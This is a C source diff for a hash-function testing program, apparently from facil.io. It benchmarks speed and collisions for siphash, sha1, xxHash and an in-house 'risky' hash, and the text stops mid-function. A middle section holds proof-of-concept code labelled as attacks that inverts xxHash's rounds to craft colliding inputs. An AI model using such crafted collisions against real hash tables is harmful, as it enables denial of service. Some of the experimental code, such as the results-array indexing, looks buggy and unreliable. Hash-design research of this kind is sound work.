+#define FIO_SET_OBJ_COMPARE(a, b) fio_str_eq_print((a), (b))
+#define FIO_SET_OBJ_DESTROY(a) fio_str_free2((a))
+#include <fio.h>
+
+typedef uintptr_t (*hashing_func_fn)(char *, size_t);
+#define FIO_SET_NAME hash_name
+#define FIO_SET_OBJ_TYPE hashing_func_fn
+#include <fio.h>
+
+#define FIO_ARY_NAME words
+#define FIO_ARY_TYPE fio_str_s
+#define FIO_ARY_COMPARE(a, b) fio_str_iseq(&(a), &(b))
+#define FIO_ARY_COPY(dest, src)                                                \
+  do {                                                                         \
+    fio_str_clear(&(dest)), fio_str_concat(&(dest), &(src));                   \
+  } while (0)
+#define FIO_ARY_DESTROY(a) fio_str_free((&a))
+#include <fio.h>
+
+static hash_name_s hash_names = FIO_SET_INIT;
+static words_s words = FIO_SET_INIT;
+
+/* *****************************************************************************
+Main
+***************************************************************************** */
+
+static void test_hash_function(hashing_func_fn h);
+static void initialize_cli(int argc, char const *argv[]);
+static void load_words(void);
+static void initialize_hash_names(void);
+static void print_hash_names(void);
+static char *hash_name(hashing_func_fn fn);
+static void cleanup(void);
+
+int main(int argc, char const *argv[]) {
+  // FIO_LOG_LEVEL = FIO_LOG_LEVEL_DEBUG;
+  initialize_cli(argc, argv);
+  load_words();
+  initialize_hash_names();
+  if (fio_cli_get("-t")) {
+    fio_str_s tmp = FIO_STR_INIT_STATIC(fio_cli_get("-t"));
+    hashing_func_fn h = hash_name_find(&hash_names, fio_str_hash(&tmp), NULL);
+    if (h) {
+      test_hash_function(h);
+    } else {
+      FIO_LOG_ERROR("Test function %s unknown.", tmp.data);
+      fprintf(stderr, "Try any of the following:\n");
+      print_hash_names();
+    }
+  } else {
+    FIO_SET_FOR_LOOP(&hash_names, pos) { test_hash_function(pos->obj); }
+  }
+  cleanup();
+  return 0;
+}
+
+/* *****************************************************************************
+CLI
+***************************************************************************** */
+
+static void initialize_cli(int argc, char const *argv[]) {
+  fio_cli_start(
+      argc, argv, 0, 0,
+      "This is a Hash algorythm collision test program. It accepts the "
+      "following arguments:",
+      FIO_CLI_STRING(
+          "-test -t test only the specified algorithm. Options include:"),
+      FIO_CLI_PRINT("\t\tsiphash13"), FIO_CLI_PRINT("\t\tsiphash24"),
+      FIO_CLI_PRINT("\t\tsha1"),
+      FIO_CLI_PRINT("\t\trisky (fio_str_hash_risky)"),
+      FIO_CLI_PRINT("\t\trisky2 (fio_str_hash_risky alternative)"),
+      // FIO_CLI_PRINT("\t\txor (xor all bytes and length)"),
+      FIO_CLI_STRING(
+          "-dictionary -d a text file containing words separated by an "
+          "EOL marker."),
+      FIO_CLI_BOOL("-v make output more verbouse (debug mode)"));
+  if (fio_cli_get_bool("-v"))
+    FIO_LOG_LEVEL = FIO_LOG_LEVEL_DEBUG;
+  FIO_LOG_DEBUG("initialized CLI.");
+}
+
+/* *****************************************************************************
+Dictionary management
+***************************************************************************** */
+
+static void add_bad_words(void);
+static void load_words(void) {
+  add_bad_words();
+  fio_str_s filename = FIO_STR_INIT;
+  fio_str_s data = FIO_STR_INIT;
+
+  if (fio_cli_get("-d")) {
+    fio_str_write(&filename, fio_cli_get("-d"), strlen(fio_cli_get("-d")));
+  } else {
+    fio_str_info_s tmp = fio_str_write(&filename, __FILE__, strlen(__FILE__));
+    while (tmp.len && tmp.data[tmp.len - 1] != '/') {
+      --tmp.len;
+    }
+    fio_str_resize(&filename, tmp.len);
+    fio_str_write(&filename, "words.txt", 9);
+  }
+  fio_str_readfile(&data, fio_str_data(&filename), 0, 0);
+  fio_str_info_s d = fio_str_info(&data);
+  if (d.len == 0) {
+    FIO_LOG_FATAL("Couldn't find / read dictionary file (or no words?)");
+    FIO_LOG_FATAL("\tmissing or empty: %s", fio_str_data(&filename));
+    cleanup();
+    fio_str_free(&filename);
+    exit(-1);
+  }
+  while (d.len) {
+    char *eol = memchr(d.data, '\n', d.len);
+    if (!eol) {
+      /* push what's left */
+      words_push(&words, FIO_STR_INIT_STATIC2(d.data, d.len));
+      break;
+    }
+    if (eol == d.data || (eol == d.data + 1 && eol[-1] == '\r')) {
+      /* empty line */
+      ++d.data;
+      --d.len;
+      continue;
+    }
+    words_push(&words, FIO_STR_INIT_STATIC2(
+                           d.data, (eol - (d.data + (eol[-1] == '\r')))));
+    d.len -= (eol + 1) - d.data;
+    d.data = eol + 1;
+  }
+  fio_free(&filename);
+  fio_free(&data);
+  FIO_LOG_INFO("Loaded %zu words.", words_count(&words));
+}
+
+/* *****************************************************************************
+Cleanup
+***************************************************************************** */
+
+static void cleanup(void) {
+  print_flag = 0;
+  hash_name_free(&hash_names);
+  words_free(&words);
+}
+
+/* *****************************************************************************
+Hash functions
+***************************************************************************** */
+
+static uintptr_t siphash13(char *data, size_t len) {
+  return fio_siphash13(data, len, 0, 0);
+}
+
+static uintptr_t siphash24(char *data, size_t len) {
+  return fio_siphash24(data, len, 0, 0);
+}
+static uintptr_t sha1(char *data, size_t len) {
+  fio_sha1_s s = fio_sha1_init();
+  fio_sha1_write(&s, data, len);
+  return ((uintptr_t *)fio_sha1_result(&s))[0];
+}
+static uintptr_t counter(char *data, size_t len) {
+  static uintptr_t counter = 0;
+  const size_t len_256 = len & (((size_t)-1) << 5);
+
+  for (size_t i = 0; i < len_256; i += 8) {
+    /* vectorized 32 bytes / 256 bit access */
+    uint64_t t0 = fio_str2u64(data);
+    uint64_t t1 = fio_str2u64(data + 8);
+    uint64_t t2 = fio_str2u64(data + 16);
+    uint64_t t3 = fio_str2u64(data + 24);
+    __asm__ volatile("" ::: "memory");
+    (void)t0;
+    (void)t1;
+    (void)t2;
+    (void)t3;
+    data += 32;
+  }
+  uint64_t tmp;
+  /* 64 bit words  */
+  switch (len & 24) {
+  case 24:
+    tmp = fio_str2u64(data + 16);
+    __asm__ volatile("" ::: "memory");
+  case 16: /* overflow */
+    tmp = fio_str2u64(data + 8);
+    __asm__ volatile("" ::: "memory");
+  case 8: /* overflow */
+    tmp = fio_str2u64(data);
+    __asm__ volatile("" ::: "memory");
+    data += len & 24;
+  }
+
+  tmp = 0;
+  /* leftover bytes */
+  switch ((len & 7)) {
+  case 7: /* overflow */
+    tmp |= ((uint64_t)data[6]) << 8;
+  case 6: /* overflow */
+    tmp |= ((uint64_t)data[5]) << 16;
+  case 5: /* overflow */
+    tmp |= ((uint64_t)data[4]) << 24;
+  case 4: /* overflow */
+    tmp |= ((uint64_t)data[3]) << 32;
+  case 3: /* overflow */
+    tmp |= ((uint64_t)data[2]) << 40;
+  case 2: /* overflow */
+    tmp |= ((uint64_t)data[1]) << 48;
+  case 1: /* overflow */
+    tmp |= ((uint64_t)data[0]) << 56;
+  }
+  __asm__ volatile("" ::: "memory");
+  return ++counter;
+}
+
+#if TEST_XXHASH
+#include "xxhash.h"
+static uintptr_t xxhash_test(char *data, size_t len) {
+  return XXH64(data, len, 0);
+}
+#endif
+
+/**
+Working version.
+*/
+inline FIO_FUNC uintptr_t fio_risky_hash2(const void *data, size_t len,
+                                          uint64_t salt);
+
+inline FIO_FUNC uintptr_t risky2(char *data, size_t len) {
+  return fio_risky_hash2(data, len, 0);
+}
+
+inline FIO_FUNC uintptr_t risky(char *data, size_t len) {
+  return fio_risky_hash(data, len, 0);
+}
+
+/* *****************************************************************************
+Hash setup and testing...
+***************************************************************************** */
+
+struct hash_fn_names_s {
+  char *name;
+  hashing_func_fn fn;
+} hash_fn_list[] = {
+    {"counter (no hash, RAM access test)", counter},
+    {"siphash13", siphash13},
+    {"siphash24", siphash24},
+    {"sha1", sha1},
+#if TEST_XXHASH
+    {"xxhash", xxhash_test},
+#endif
+    {"risky", risky},
+    {"risky2", risky2},
+    {NULL, NULL},
+};
+
+static void initialize_hash_names(void) {
+  for (size_t i = 0; hash_fn_list[i].name; ++i) {
+    fio_str_s tmp = FIO_STR_INIT_STATIC(hash_fn_list[i].name);
+    hash_name_insert(&hash_names, fio_str_hash(&tmp), hash_fn_list[i].fn);
+    FIO_LOG_DEBUG("Registered %s hashing function.\n\t\t(%zu registered)",
+                  hash_fn_list[i].name, hash_name_count(&hash_names));
+  }
+}
+
+static char *hash_name(hashing_func_fn fn) {
+  for (size_t i = 0; hash_fn_list[i].name; ++i) {
+    if (hash_fn_list[i].fn == fn)
+      return hash_fn_list[i].name;
+  }
+  return NULL;
+}
+
+static void print_hash_names(void) {
+  for (size_t i = 0; hash_fn_list[i].name; ++i) {
+    fprintf(stderr, "* %s\n", hash_fn_list[i].name);
+  }
+}
+
+static void test_hash_function_speed(hashing_func_fn h, char *name) {
+  FIO_LOG_DEBUG("Speed testing for %s", name);
+  /* test based on code from BearSSL with credit to Thomas Pornin */
+  uint8_t buffer[8192];
+  memset(buffer, 'T', sizeof(buffer));
+  /* warmup */
+  uint64_t hash = 0;
+  for (size_t i = 0; i < 4; i++) {
+    hash += h((char *)buffer, sizeof(buffer));
+    memcpy(buffer, &hash, sizeof(hash));
+  }
+  /* loop until test runs for more than 2 seconds */
+  for (uint64_t cycles = (8192 << 4);;) {
+    clock_t start, end;
+    start = clock();
+    for (size_t i = cycles; i > 0; i--) {
+      hash += h((char *)buffer, sizeof(buffer));
+      __asm__ volatile("" ::: "memory");
+    }
+    end = clock();
+    memcpy(buffer, &hash, sizeof(hash));
+    if ((end - start) >= (2 * CLOCKS_PER_SEC) ||
+        cycles >= ((uint64_t)1 << 62)) {
+      fprintf(stderr, "%-20s %8.2f MB/s\n", name,
+              (double)(sizeof(buffer) * cycles) /
+                  (((end - start) * (1000000.0 / CLOCKS_PER_SEC))));
+      break;
+    }
+    cycles <<= 2;
+  }
+}
+
+static void test_hash_function(hashing_func_fn h) {
+  size_t best_count = 0, best_capa = 1024;
+#define test_for_best()                                                        \
+  if (collisions_capa(&c) > 1024 &&                                            \
+      (collisions_count(&c) * (double)1 / collisions_capa(&c)) >               \
+          (best_count * (double)1 / best_capa)) {                              \
+    best_count = collisions_count(&c);                                         \
+    best_capa = collisions_capa(&c);                                           \
+  }
+  char *name = NULL;
+  for (size_t i = 0; hash_fn_list[i].name; ++i) {
+    if (hash_fn_list[i].fn == h) {
+      name = hash_fn_list[i].name;
+      break;
+    }
+  }
+  if (!name)
+    name = "unknown";
+  fprintf(stderr, "======= %s\n", name);
+  /* Speed test */
+  test_hash_function_speed(h, name);
+  /* Collision test */
+  collisions_s c = FIO_SET_INIT;
+  size_t count = 0;
+  FIO_ARY_FOR(&words, w) {
+    fio_str_info_s i = fio_str_info(w);
+    // fprintf(stderr, "%s\n", i.data);
+    printf("\33[2K [%zu] %s\r", ++count, i.data);
+    collisions_overwrite(&c, h(i.data, i.len), w, NULL);
+    test_for_best();
+  }
+  printf("\33[2K\r\n");
+  fprintf(stderr, "* Total collisions detected for %s: %zu\n", name,
+          words_count(&words) - collisions_count(&c));
+  fprintf(stderr, "* Final set utilization ratio (over 1024) %zu/%zu\n",
+          collisions_count(&c), collisions_capa(&c));
+  fprintf(stderr, "* Best set utilization ratio  %zu/%zu\n", best_count,
+          best_capa);
+  collisions_free(&c);
+}
+
+/* *****************************************************************************
+Finsing a mod64 inverse
+See: https://lemire.me/blog/2017/09/18/computing-the-inverse-of-odd-integers/
+***************************************************************************** */
+
+/* will return `inv` if `inv` is inverse of `n` */
+static uint64_t inverse64_test(uint64_t n, uint64_t inv) {
+  uint64_t result = inv * (2 - (n * inv));
+  return result;
+}
+
+static uint64_t inverse64(uint64_t x) {
+  uint64_t y = (3 * x) ^ 2;
+  y = inverse64_test(x, y);
+  y = inverse64_test(x, y);
+  y = inverse64_test(x, y);
+  y = inverse64_test(x, y);
+  if (FIO_LOG_LEVEL >= FIO_LOG_LEVEL_DEBUG) {
+    char buff[64];
+    fio_str_s t = FIO_STR_INIT;
+    fio_str_write(&t, "\n\t\tinverse for:\t", 16);
+    fio_str_write(&t, buff, fio_ltoa(buff, x, 16));
+    fio_str_write(&t, "\n\t\tis:\t\t\t", 8);
+    fio_str_write(&t, buff, fio_ltoa(buff, y, 16));
+    fio_str_write(&t, "\n\t\tsanity inverse test: 1==", 27);
+    fio_str_write_i(&t, x * y);
+    FIO_LOG_DEBUG("%s", fio_str_data(&t));
+  }
+
+  return y;
+}
+
+/* *****************************************************************************
+Hash Breaking Word Workshop
+***************************************************************************** */
+
+/**
+ * Attacking 8 byte words, which follow this code path:
+ *      h64 = seed + PRIME64_5;
+ *      h64 += len; // len == 8
+ *      if (p + 4 <= bEnd) {
+ *        h64 ^= (U64)(XXH_get32bits(p)) * PRIME64_1;
+ *        h64 = XXH_rotl64(h64, 23) * PRIME64_2 + PRIME64_3;
+ *        p += 4;
+ *      }
+ *
+ *      while (p < bEnd) {
+ *        h64 ^= (*p) * PRIME64_5;
+ *        h64 = XXH_rotl64(h64, 11) * PRIME64_1;
+ *        p++;
+ *      }
+ *
+ *      h64 ^= h64 >> 33;
+ *      h64 *= PRIME64_2;
+ *      h64 ^= h64 >> 29;
+ *      h64 *= PRIME64_3;
+ *      h64 ^= h64 >> 32;
+ */
+
+FIO_FUNC void attack_xxhash2(void) {
+  /* POC - forcing XXHash to return seed only data (here, seed = 0) */
+  const uint64_t PRIME64_1 = 11400714785074694791ULL;
+  const uint64_t PRIME64_2 = 14029467366897019727ULL;
+  // const uint64_t PRIME64_3 = 1609587929392839161ULL;
+  // const uint64_t PRIME64_4 = 9650029242287828579ULL;
+  // const uint64_t PRIME64_5 = 2870177450012600261ULL;
+  const uint64_t PRIME64_1_INV = inverse64(PRIME64_1);
+  const uint64_t PRIME64_2_INV = inverse64(PRIME64_2);
+  // const uint64_t PRIME64_3_INV = inverse64(PRIME64_3);
+  // const uint64_t PRIME64_4_INV = inverse64(PRIME64_4);
+  // const uint64_t PRIME64_5_INV = inverse64(PRIME64_5);
+  const uint64_t seed_manipulation[4] = {PRIME64_1 + PRIME64_2, PRIME64_2, 0,
+                                         -PRIME64_1};
+  uint64_t v[4] = {0, 0, 0, 0};
+  /* attack v *= PRIME64_1 */
+  v[0] = v[0] * PRIME64_1_INV;
+  v[1] = v[1] * PRIME64_1_INV;
+  v[2] = v[2] * PRIME64_1_INV;
+  v[3] = v[3] * PRIME64_1_INV;
+  /* attack v = XXH_rotl64(v, 31) */
+  v[0] = (v[0] >> 31) | (v[0] << (64 - 31));
+  v[1] = (v[1] >> 31) | (v[1] << (64 - 31));
+  v[2] = (v[2] >> 31) | (v[2] << (64 - 31));
+  v[3] = (v[3] >> 31) | (v[3] << (64 - 31));
+  /* attack seed manipulation */
+  v[0] = v[0] - seed_manipulation[0];
+  v[1] = v[1] - seed_manipulation[1];
+  v[2] = v[2] - seed_manipulation[2];
+  v[3] = v[3] - seed_manipulation[3];
+  /* attack v += XXH_get64bits(p) * PRIME64_2 */
+  v[0] = v[0] * PRIME64_2_INV;
+  v[1] = v[1] * PRIME64_2_INV;
+  v[2] = v[2] * PRIME64_2_INV;
+  v[3] = v[3] * PRIME64_2_INV;
+  uint64_t seed_data = XXH64(v, 32, 0);
+  if (seed_data == 0)
+    fprintf(stderr, "XXHash seed data extracted for seed == 0!\n");
+  else
+    fprintf(stderr, "Seed extraction failed %llu\n", seed_data);
+}
+
+FIO_FUNC void attack_xxhash(void) {
+  /* POC - forcing XXHash to return seed only data (here, seed = 0) */
+  const uint64_t PRIME64_1 = 11400714785074694791ULL;
+  const uint64_t PRIME64_2 = 14029467366897019727ULL;
+  const uint64_t PRIME64_3 = 1609587929392839161ULL;
+  const uint64_t PRIME64_4 = 9650029242287828579ULL;
+  const uint64_t PRIME64_2_INV = 0x0BA79078168D4BAFULL;
+  const uint64_t seed_manipulation[4] = {PRIME64_1 + PRIME64_2, PRIME64_2, 0,
+                                         -PRIME64_1};
+  uint64_t v[4] = {0, 0, 0, 0};
+  /* attack seed manipulation */
+  v[0] = v[0] - seed_manipulation[0];
+  v[1] = v[1] - seed_manipulation[1];
+  v[2] = v[2] - seed_manipulation[2];
+  v[3] = v[3] - seed_manipulation[3];
+  /* attack v += XXH_get64bits(p) * PRIME64_2 */
+  v[0] = v[0] * PRIME64_2_INV;
+  v[1] = v[1] * PRIME64_2_INV;
+  v[2] = v[2] * PRIME64_2_INV;
+  v[3] = v[3] * PRIME64_2_INV;
+
+  uint64_t seed = 2870177450012600261ULL;
+  uint64_t expected_seed;
+
+  /* I didn't work out how to extract the seeed from this part */
+  expected_seed = fio_lrot(seed, 1) + fio_lrot(seed, 7) + fio_lrot(seed, 12) +
+                  fio_lrot(seed, 18);
+  uint64_t tmp = seed * PRIME64_2;
+  tmp = fio_lrot(tmp, 31);
+  tmp *= PRIME64_1;
+  expected_seed ^= tmp;
+  expected_seed = expected_seed * PRIME64_1 + PRIME64_4;
+  expected_seed ^= tmp;
+  expected_seed = expected_seed * PRIME64_1 + PRIME64_4;
+  expected_seed ^= tmp;
+  expected_seed = expected_seed * PRIME64_1 + PRIME64_4;
+  expected_seed ^= tmp;
+  expected_seed = expected_seed * PRIME64_1 + PRIME64_4;
+  expected_seed += 32;
+  expected_seed ^= expected_seed >> 33;
+  expected_seed *= PRIME64_2;
+  expected_seed ^= expected_seed >> 29;
+  expected_seed *= PRIME64_3;
+  expected_seed ^= expected_seed >> 32;
+
+  uint64_t seed_data = XXH64(v, 32, 0);
+  if (seed_data == expected_seed)
+    fprintf(stderr, "XXHash extraxted seed data matches expectations!\n");
+  else
+    fprintf(stderr, "Seed extraction failed %llu\n", seed_data);
+  //   char b[128] = {0};
+  //   fio_ltoa(b, v[0], 16);
+  //   fio_ltoa(b + 32, v[1], 16);
+  //   fio_ltoa(b + 64, v[2], 16);
+  //   fio_ltoa(b + 96, v[3], 16);
+  //   fprintf(stderr, "Message was:\n%s\n%s\n%s\n%s\n", b, b + 32, b + 64, b +
+  //           96);
+  // Output (message):
+  //    0xFB9FE7DB392000B6
+  //    0xFFFFFFFFFFFFFFFF
+  //    0x0000000000000000
+  //    0x04601824C6DFFF49
+}
+
+/**
+ * Attacking 64 byte messages where the last 32 bytes are the same and the first
+ * 32 bytes use rotating 8 byte words. This is attcking the following part in
+ * the code:
+ *
+ *    U64 v1 = seed + PRIME64_1 + PRIME64_2;
+ *    U64 v2 = seed + PRIME64_2;
+ *    U64 v3 = seed + 0;
+ *    U64 v4 = seed - PRIME64_1;
+ *
+ *    do {
+ *      v1 += XXH_get64bits(p) * PRIME64_2;
+ *      p += 8;
+ *      v1 = XXH_rotl64(v1, 31);
+ *      v1 *= PRIME64_1;
+ *      //... v2, v3, v4 same;
+ *    } while (p <= limit);
+ *
+ *    h64 = XXH_rotl64(v1, 1) + XXH_rotl64(v2, 7) + XXH_rotl64(v3, 12) +
+ *          XXH_rotl64(v4, 18);
+ */
+
+FIO_FUNC void add_bad4xxhash(void) {
+  attack_xxhash();
+  const uint64_t PRIME64_1 = 11400714785074694791ULL;
+  const uint64_t PRIME64_2 = 14029467366897019727ULL;
+  const uint64_t PRIME64_1_INV = inverse64(PRIME64_1);
+  const uint64_t PRIME64_2_INV = inverse64(PRIME64_2);
+  const uint64_t seed_manipulation[4] = {PRIME64_1 + PRIME64_2, PRIME64_2, 0,
+                                         -PRIME64_1};
+
+  uint64_t rotating[4] = {0x1, 0x20, 0x300, 0x4000};
+  uint8_t results[32][16] = {{0}};
+  uint8_t results_count = 0;
+  for (int i = 0; i < 4; ++i) {
+    for (int j = 0; j < 4; ++j) {
+      if (i == j) /* all 4 rotating words must be present */
+        continue;
+      /* mix rotating word order */
+      uint64_t v[4] = {rotating[i], rotating[j], rotating[3 - i],
+                       rotating[3 - j]};
+      /* prepare vector against h64 = XXH_rotl64... */
+      v[0] = (v[0] >> 1) | (v[0] << (64 - 1));
+      v[1] = (v[1] >> 7) | (v[1] << (64 - 7));
+      v[2] = (v[2] >> 12) | (v[2] << (64 - 12));
+      v[3] = (v[3] >> 18) | (v[3] << (64 - 18));
+      /* attack v *= PRIME64_1 */
+      v[0] = v[0] * PRIME64_1_INV;
+      v[1] = v[1] * PRIME64_1_INV;
+      v[2] = v[2] * PRIME64_1_INV;
+      v[3] = v[3] * PRIME64_1_INV;
+      /* attack v = XXH_rotl64(v, 31) */
+      v[0] = (v[0] >> 31) | (v[0] << (64 - 31));
+      v[1] = (v[1] >> 31) | (v[1] << (64 - 31));
+      v[2] = (v[2] >> 31) | (v[2] << (64 - 31));
+      v[3] = (v[3] >> 31) | (v[3] << (64 - 31));
+      /* attack seed manipulation */
+      v[0] = v[0] - seed_manipulation[0];
+      v[1] = v[1] - seed_manipulation[1];
+      v[2] = v[2] - seed_manipulation[2];
+      v[3] = v[3] - seed_manipulation[3];
+      /* attack v += XXH_get64bits(p) * PRIME64_2 */
+      v[0] = v[0] * PRIME64_2_INV;
+      v[1] = v[1] * PRIME64_2_INV;
+      v[2] = v[2] * PRIME64_2_INV;
+      v[3] = v[3] * PRIME64_2_INV;
+      /* copy to results, if unique */
+      uint8_t unique = 1;
+      for (int t = 0; t < results_count; ++t) {
+        if (!memcmp(&results[0][t], v, 32))
+          unique = 0;
+      }
+      if (unique) {
+        memcpy(&results[0][results_count], v, 32);
+        ++results_count;
+      }
+    }
+  }
+  if (results_count) {
+    fprintf(stderr, "Created %u vectors, now testing...\n", results_count);
+    uint64_t origin = XXH64(&results[0][0], 32, 0);
+    for (int i = 0; i < results_count; ++i) {
+      words_push(&words, FIO_STR_INIT_STATIC2(&results[0][i], 32));
+      if (i && origin == XXH64(&results[0][i], 32, 0))
+        fprintf(stderr, "Possible collision [%d]\n", i);
+    }
+    fprintf(stderr, "Done testing.\n");
+  }
+}
+
+FIO_FUNC void add_bad4risky(void) {}
+
+FIO_FUNC void find_bit_collisions(hashing_func_fn fn, size_t collision_count,
+                                  uint8_t bit_count) {
+  words_s c = FIO_ARY_INIT;
+  const uint64_t mask = (1ULL << bit_count) - 1;
+  time_t start = clock();
+  while (words_count(&c) < collision_count) {
+    uint64_t rnd = fio_rand64();
+    if ((fn((char *)&rnd, 8) & mask) == mask) {
+      words_push(&c, FIO_STR_INIT_STATIC2((char *)&rnd, 8));
+    }
+  }
+  time_t end = clock();
+  char *name = hash_name(fn);
+  if (!name)
+    name = "unknown";
+  fprintf(stderr,
+          "* It took %zu cycles to find %zu (%u bit) collisions for %s (brute "
+          "fource):\n",
+          end - start, words_count(&c), bit_count, name);
+  FIO_ARY_FOR(&c, pos) {
+    uint64_t tmp = fio_str2u64(fio_str_data(pos));
+    fprintf(stderr, "* %p => %p\n", (void *)tmp,
+            (void *)fn(fio_str_data(pos), 8));
+  }
+  words_free(&c);
+}
+
+static void add_bad_words(void) {
+  if (!fio_cli_get("-t")) {
+    find_bit_collisions(risky, 16, 16);
+    find_bit_collisions(xxhash_test, 16, 16);
+    find_bit_collisions(siphash13, 16, 16);
+    find_bit_collisions(sha1, 16, 16);
+  }
+  add_bad4xxhash();
+  add_bad4risky();
+}
+
+/* *****************************************************************************
+Hash experimentation workspace
+***************************************************************************** */
+/* Risky Hash consumption round, accepts a state word s and an input word w */
+#define fio_risky_consume(s, w)                                                \
+  (s) ^= (w);                                                                  \
+  (s) = fio_lrot64((s), 33) + (w);                                             \
+  (s) *= primes[0];
+
+/*  Computes a facil.io Risky Hash. */
+static inline uintptr_t fio_risky_hash2(const void *data_, size_t len,
+                                        uint64_t seed) {
+  /* The primes used by Risky Hash */
+  const uint64_t primes[] = {
+      0xFBBA3FA15B22113B, // 1111101110111010001111111010000101011011001000100001000100111011
+      0xAB137439982B86C9, // 1010101100010011011101000011100110011000001010111000011011001001
+  };
+  /* The consumption vectors initialized state */
+  uint64_t v[4] = {
+      seed ^ primes[1],
+      ~seed + primes[1],
+      fio_lrot64(seed, 17) ^ (primes[1] + primes[0]),
+      fio_lrot64(seed, 33) + (~primes[1]),
+  };
+
+  /* reading position */
+  const uint8_t *data = (uint8_t *)data_;
+
+  /* consume 256bit blocks */
+  for (size_t i = len >> 5; i; --i) {
+    fio_risky_consume(v[0], fio_str2u64(data));
+    fio_risky_consume(v[1], fio_str2u64(data + 8));
+    fio_risky_consume(v[2], fio_str2u64(data + 16));
+    fio_risky_consume(v[3], fio_str2u64(data + 24));
+    data += 32;
+  }
+  /* Consume any remaining 64 bit words. */
+  switch (len & 24) {
+  case 24:
+    fio_risky_consume(v[2], fio_str2u64(data + 16));
+  case 16: /* overflow */
+    fio_risky_consume(v[1], fio_str2u64(data + 8));
+  case 8: /* overflow */
+    fio_risky_consume(v[0], fio_str2u64(data));
+    data += len & 24;
+  }
+
+  uint64_t tmp = 0;
+  /* consume leftover bytes, if any */
+  switch ((len & 7)) {
+  case 7: /* overflow */
+    tmp |= ((uint64_t)data[6]) << 8;
+  case 6: /* overflow */
+    tmp |= ((uint64_t)data[5]) << 16;
+  case 5: /* overflow */
+    tmp |= ((uint64_t)data[4]) << 24;
+  case 4: /* overflow */
+    tmp |= ((uint64_t)data[3]) << 32;
+  case 3: /* overflow */
+    tmp |= ((uint64_t)data[2]) << 40;
+  case 2: /* overflow */
+    tmp |= ((uint64_t)data[1]) << 48;
+  case 1: /* overflow */
+    tmp |= ((uint64_t)data[0]) << 56;
+    /* ((len & 24) >> 3) is a 0-3 value representing the next state vector */
+    /* `switch` allows v[i] to be a register without a memory address */
+    /* using v[(len & 24) >> 3] forces implementation to use memory */
+    switch ((len & 24) >> 3) {
+    case 3:
+      fio_risky_consume(v[3], tmp);
+      break;
+    case 2:
+      fio_risky_consume(v[2], tmp);
+      break;
+    case 1:
+      fio_risky_consume(v[1], tmp);
+      break;
+    case 0:
+      fio_risky_consume(v[0], tmp);
+      break;
+    }
+  }
+
+  /* merge and mix */
+  uint64_t result = fio_lrot64(v[0], 17) + fio_lrot64(v[1], 13) +
+                    fio_lrot64(v[2], 47) + fio_lrot64(v[3], 57);
+  result += len;
+  result += v[0] * primes[1];
+  result ^= fio_lrot64(result, 13);
+  result += v[1] * primes[1];
+  result ^= fio_lrot64(result, 29);
+  result += v[2] * primes[1];
+  result ^= fio_lrot64(result, 33);
+  result += v[3] * primes[1];
+  result ^= fio_lrot64(result, 51);
+
+  /* irreversible avalanche... I think */
+  result ^= (result >> 29) * primes[0];
+  return result;
+}
+
+#undef fio_risky_consume
+
+inline FIO_FUNC uintptr_t fio_risky_hash_old(void *data_, size_t len,
+                                             uint64_t seed) {
+  /* inspired by xxHash: Yann Collet, Maciej Adamczyk... */
+  /* so I borrowed their primes as homage ;-) */
+  /* more primes at: https://asecuritysite.com/encryption/random3?val=64 */
+  const uint64_t primes[] = {
+      /* xxHash Primes */
+      14029467366897019727ULL, 11400714785074694791ULL, 1609587929392839161ULL,
+      9650029242287828579ULL,  2870177450012600261ULL,
+  };
+  /*
+   * 4 x 64 bit vectors for 256bit block consumption.
+   * When implementing a streaming variation, more fields might be required.
+   */
+  struct risky_state_s {
+    uint64_t v[4];
+  } s = {{
+      (seed + primes[0] + primes[1]),
+      ((~seed) + primes[0]),
+      ((seed << 9) ^ primes[3]),
+      ((seed >> 17) ^ primes[2]),
+  }};
+
+/* A single data-consuming round, wrd is the data in big-endian 64 bit */
+/* the design follows the xxHash basic round scheme and is easy to vectorize */
+#define fio_risky_round_single(wrd, i)                                         \
+  s.v[(i)] += (wrd)*primes[0];                                                 \
+  s.v[(i)] = fio_lrot64(s.v[(i)], 33);                                         \
+  s.v[(i)] *= primes[1];
+
+/* an unrolled (vectorizable) 256bit round */
+#define fio_risky_round_256(w0, w1, w2, w3)                                    \
+  fio_risky_round_single(w0, 0);                                               \
+  fio_risky_round_single(w1, 1);                                               \
+  fio_risky_round_single(w2, 2);                                               \
+  fio_risky_round_single(w3, 3);
+
+  uint8_t *data = (uint8_t *)data_;
+
+  /* loop over 256 bit "blocks" */
+  const size_t len_256 = len & (((size_t)-1) << 5);
+  for (size_t i = 0; i < len_256; i += 32) {
+    /* perform round for block */
+    fio_risky_round_256(fio_str2u64(data), fio_str2u64(data + 8),
+                        fio_str2u64(data + 16), fio_str2u64(data + 24));
+    data += 32;
+  }
+
+  /* process last 64bit words in each vector */
+  switch (len & 24UL) {
+  case 24:
+    fio_risky_round_single(fio_str2u64(data), 0);
+    fio_risky_round_single(fio_str2u64(data + 8), 1);
+    fio_risky_round_single(fio_str2u64(data + 16), 2);
+    data += 24;
+    break;
+  case 16:
+    fio_risky_round_single(fio_str2u64(data), 0);
+    fio_risky_round_single(fio_str2u64(data + 8), 1);
+    data += 16;
+    break;
+  case 8:
+    fio_risky_round_single(fio_str2u64(data), 0);
+    data += 8;
+    break;
+  }
+
+  /* always process the last 64bits, if any, in the 4th vector */
+  uint64_t last_bytes = 0;
+  switch (len & 7) {
+  case 7:
+    last_bytes |= ((uint64_t)data[6] & 0xFF) << 56;
+  case 6: /* overflow */
+    last_bytes |= ((uint64_t)data[5] & 0xFF) << 48;
+  case 5: /* overflow */
+    last_bytes |= ((uint64_t)data[4] & 0xFF) << 40;
+  case 4: /* overflow */
+    last_bytes |= ((uint64_t)data[3] & 0xFF) << 32;
+  case 3: /* overflow */
+    last_bytes |= ((uint64_t)data[2] & 0xFF) << 24;
+  case 2: /* overflow */
+    last_bytes |= ((uint64_t)data[1] & 0xFF) << 16;
+  case 1: /* overflow */
+    last_bytes |= ((uint64_t)data[0] & 0xFF) << 8;
+    fio_risky_round_single(last_bytes, 3);
+  }
+
+  /* mix stage */
+  uint64_t result = (fio_lrot64(s.v[3], 63) + fio_lrot64(s.v[2], 57) +
+                     fio_lrot64(s.v[1], 52) + fio_lrot64(s.v[0], 46));
+  result += len * primes[4];
+  result = ((result ^ s.v[0]) * primes[3]) + primes[2];
+  result = ((result ^ s.v[1]) * primes[3]) + primes[2];
+  result = ((result ^ s.v[2]) * primes[3]) + primes[2];
+  result = ((result ^ s.v[3]) * primes[3]) + primes[2];
+  /* avalanche */
+  result ^= (result >> 33);
+  result *= primes[1];
+  result ^= (result >> 29);
